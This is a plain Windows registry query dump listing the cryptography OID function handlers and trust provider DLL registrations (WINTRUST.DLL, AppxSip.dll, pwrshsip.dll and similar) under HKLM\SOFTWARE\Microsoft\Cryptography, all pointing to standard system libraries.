HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\System32\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\System32\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptsvcDllCtrl\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\crypttpmeksvc.dll\0C:\Windows\System32\cryptcatsvc.dll\0C:\Windows\System32\webauthn.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\GetSecureTime\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\SecureTimeAggregator.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CertDllVerifyCTLUsage\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\cryptnet.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CertDllVerifyRevocation\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\cryptnet.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2000
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2001
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2002
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2003
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2004
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2005
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2006
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2007
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2008
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2009
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2010
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2011
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2012
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2130
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2221
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2222
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2223
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.12.2.1
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.12.2.2
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.12.2.3
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.16.1.1
    Dll    REG_SZ    C:\Windows\System32\cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.16.4
    Dll    REG_SZ    C:\Windows\System32\cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.10
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.11
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.12
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.15
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.20
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.25
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.26
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.27
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.28
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.30
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.4
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.4.2
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.4.3
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.4.4
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.1.1
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.1
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.11
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.12
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.2
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.3
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.4
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2000
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2001
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2002
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2003
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2004
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2005
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2006
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2007
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2008
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2009
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2010
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2011
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2012
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2130
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2221
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2222
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2223
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.12.2.1
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.12.2.2
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.12.2.3
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.16.1.1
    Dll    REG_SZ    C:\Windows\System32\cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.16.4
    Dll    REG_SZ    C:\Windows\System32\cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.10
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.11
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.12
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.15
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.20
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.25
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.26
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.27
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.28
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.30
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.4
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.4.2
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.4.3
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.4.4
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.1.1
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.1
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.11
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.12
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.2
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.3
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.4
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllFormatObject\1.3.6.1.5.5.7.3.4
    Dll    REG_SZ    C:\Windows\System32\cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllFormatObject\2.5.29.32
    Dll    REG_SZ    C:\Windows\System32\cryptdlg.dll

End of search: 207 match(es) found.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{7801EBD0-CF4B-11D0-851F-0060979387EA}
    $DLL    REG_SZ    C:\Windows\System32\Cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{7801EBD0-CF4B-11D0-851F-0060979387EA}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

